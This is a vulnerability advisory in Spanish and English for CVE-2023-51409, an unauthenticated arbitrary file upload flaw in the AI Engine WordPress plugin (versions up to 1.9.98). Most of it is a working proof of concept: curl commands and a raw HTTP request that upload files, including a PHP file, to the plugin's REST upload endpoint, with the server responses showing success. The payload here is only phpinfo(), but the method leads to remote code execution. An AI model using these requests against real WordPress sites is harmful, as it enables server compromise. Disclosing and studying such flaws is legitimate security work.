
Motor de IA: ChatGPT Chatbot <= 1.9.98 - Carga de archivos arbitraria no autenticada a través de rest_upload
AI Engine: ChatGPT Chatbot <= 1.9.98 - Carga Arbitraria de Archivos No Autenticada a través de rest_upload
El plugin AI Engine: Chatbots, Generadores, Asistentes, GPT 4 y más! para WordPress es vulnerable a cargas arbitrarias de archivos debido a la falta de validación del tipo de archivo en la función 'rest_upload' en todas las versiones hasta la 1.9.98 inclusive. Esto hace posible que atacantes no autenticados suban archivos arbitrarios en el servidor del sitio afectado, lo que puede permitir la ejecución remota de código.
Severity: critical
CVE ID: CVE-2023-51409
CVSS Score: 9.8
CVSS Metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Plugin Slug: ai-engine
WPScan URL: https://www.wpscan.com/plugin/ai-engine
Reference URL: https://www.wordfence.com/threat-intel/vulnerabilities/id/a3fc4bac-9be0-4a1c-b4bb-4384d80e22f7?source=api-prod
CURL
$ cat test.txt
robbie.txt
$ curl -X POST http://wordpress.lan/wp-json/mwai-ui/v1/files/upload -H "Content-Disposition: form-data; filename=\"test.txt\"" -F "[email protected]" | jq -r
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 336 100 139 100 197 1738 2463 --:--:-- --:--:-- --:--:-- 4602
{
"success": true,
"data": {
"id": "dc05affbc88c6d731a8fc6d122cd3839",
"url": "http://wordpress.lan/wp-content/uploads/2024/02/test-1.txt"
}
}
$ curl http://wordpress.lan/wp-content/uploads/2024/02/test-1.txt
robbie.txt
Solicitud
POST /wp-json/mwai-ui/v1/files/upload HTTP/1.1
Host: wordpress.lan
User-Agent: curl/8.1.2
Accept: */*
Content-Disposition: form-data; filename="test.txt"
Content-Length: 206
Content-Type: multipart/form-data; boundary=------------------------8ecd2b831e8d20f4
Connection: close
--------------------------8ecd2b831e8d20f4
Content-Disposition: form-data; name="file"; filename="test.php"
Content-Type: text/plain
<?php phpinfo(); ?>
--------------------------8ecd2b831e8d20f4--
Respuesta
{
"data": {
"id": "1044f1ab4f6340fea9abecb331fe981c",
"url": "http://wordpress.lan/wp-content/uploads/2024/02/test.php"
},
"success": true
}